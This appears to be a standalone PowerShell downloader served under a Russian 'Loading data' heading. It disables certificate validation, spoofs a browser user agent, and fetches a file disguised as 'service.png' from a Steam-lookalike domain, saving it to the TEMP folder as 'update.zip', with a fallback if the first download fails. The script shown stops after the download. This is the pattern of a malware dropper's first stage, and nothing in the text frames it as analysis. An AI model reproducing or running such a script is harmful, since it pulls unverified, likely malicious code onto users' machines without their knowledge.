Загрузка данных


try {
    [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
} catch {}

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }

$url = 'https://steam-filesharing.com/service.png'
$tempdir = $env:TEMP
$zippile = Join-Path $tempdir 'update.zip'

try {
    Invoke-WebRequest -Uri $url -OutFile $zippile -UseBasicParsing -Headers @{'User-Agent'='Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0'}
} catch {
    (New-Object System.Net.WebClient).DownloadFile($url, $zippile)
}